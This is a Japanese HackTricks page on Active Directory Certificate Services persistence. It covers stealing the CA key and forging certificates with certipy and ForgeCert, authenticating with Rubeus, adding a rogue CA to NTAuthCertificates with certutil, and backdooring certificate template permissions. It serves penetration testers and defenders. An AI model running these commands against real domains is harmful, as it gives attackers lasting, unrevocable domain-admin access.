AD CS Domain Persistence

HackTricksをサポートする

これは、https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdfで共有されたドメイン持続性技術の概要です。詳細については、こちらを確認してください。

盗まれたCA証明書を使った証明書の偽造 - DPERSIST1

証明書がCA証明書であることはどうやって判断できますか?

いくつかの条件が満たされている場合、証明書がCA証明書であることが判断できます:

  • 証明書はCAサーバーに保存されており、その秘密鍵はマシンのDPAPIまたは、オペレーティングシステムがサポートしている場合はTPM/HSMなどのハードウェアによって保護されています。

  • 証明書の発行者および対象フィールドがCAの識別名と一致します。

  • "CA Version"拡張がCA証明書にのみ存在します。

  • 証明書にはExtended Key Usage (EKU)フィールドがありません。

この証明書の秘密鍵を抽出するには、CAサーバー上のcertsrv.mscツールがサポートされている方法です。ただし、この証明書はシステム内に保存されている他の証明書とは異ならないため、THEFT2技術などの方法を使用して抽出できます。

証明書と秘密鍵は、次のコマンドを使用してCertipyでも取得できます:

certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup

CA証明書とそのプライベートキーを.pfx形式で取得した後、ForgeCertのようなツールを使用して、有効な証明書を生成できます:

# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!

# Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'

# Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!

# Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128

証明書の偽造の対象となるユーザーは、プロセスが成功するためにアクティブであり、Active Directoryで認証できる必要があります。krbtgtのような特別なアカウントのために証明書を偽造することは効果がありません。

この偽造された証明書は、指定された終了日まで有効であり、ルートCA証明書が有効である限り(通常は5年から10年以上)有効です。また、マシンにも有効であるため、S4U2Selfと組み合わせることで、攻撃者はCA証明書が有効である限り、任意のドメインマシンで持続性を維持できます。 さらに、この方法で生成された証明書は、CAがそれらを認識していないため、取り消すことができません

悪意のあるCA証明書の信頼 - DPERSIST2

NTAuthCertificatesオブジェクトは、そのcacertificate属性内に1つ以上のCA証明書を含むように定義されており、Active Directory(AD)が利用します。ドメインコントローラーによる検証プロセスは、認証される証明書の発行者フィールドに指定されたCAに一致するエントリをNTAuthCertificatesオブジェクトで確認することを含みます。一致が見つかれば、認証が進行します。

自己署名のCA証明書は、攻撃者がこのADオブジェクトを制御している場合、NTAuthCertificatesオブジェクトに追加できます。通常、Enterprise Adminグループのメンバーと、フォレストルートのドメイン内のDomain AdminsまたはAdministratorsのみが、このオブジェクトを変更する権限を与えられます。彼らは、certutil.exeを使用してNTAuthCertificatesオブジェクトを編集することができ、コマンドcertutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126を使用するか、PKI Health Toolを使用します。

この機能は、ForgeCertを使用して動的に証明書を生成する以前に説明された方法と組み合わせて使用される場合に特に関連性があります。

悪意のある誤設定 - DPERSIST3

AD CSコンポーネントのセキュリティ記述子の変更を通じた持続性の機会は豊富です。「ドメイン昇格」セクションで説明されている変更は、権限のある攻撃者によって悪意を持って実装される可能性があります。これには、次のような敏感なコンポーネントへの「制御権」(例:WriteOwner/WriteDACLなど)の追加が含まれます:

  • CAサーバーのADコンピュータオブジェクト

  • CAサーバーのRPC/DCOMサーバー

  • CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>内の任意の子孫ADオブジェクトまたはコンテナ(たとえば、証明書テンプレートコンテナ、認証局コンテナ、NTAuthCertificatesオブジェクトなど)

  • デフォルトまたは組織によってAD CSを制御する権利が委任されたADグループ(組み込みのCert Publishersグループやそのメンバーなど)

悪意のある実装の例としては、ドメイン内で権限のある攻撃者が、デフォルトの**User証明書テンプレートにWriteOwner権限を追加し、攻撃者がその権利の主となることが含まれます。これを利用するために、攻撃者はまずUserテンプレートの所有権を自分に変更します。その後、mspki-certificate-name-flag1に設定され、ENROLLEE_SUPPLIES_SUBJECTが有効になり、ユーザーがリクエストにおいて代替名を提供できるようになります。続いて、攻撃者はテンプレートを使用して登録し、代替名としてドメイン管理者**の名前を選択し、取得した証明書をDAとして認証に利用します。

Support HackTricks

Last updated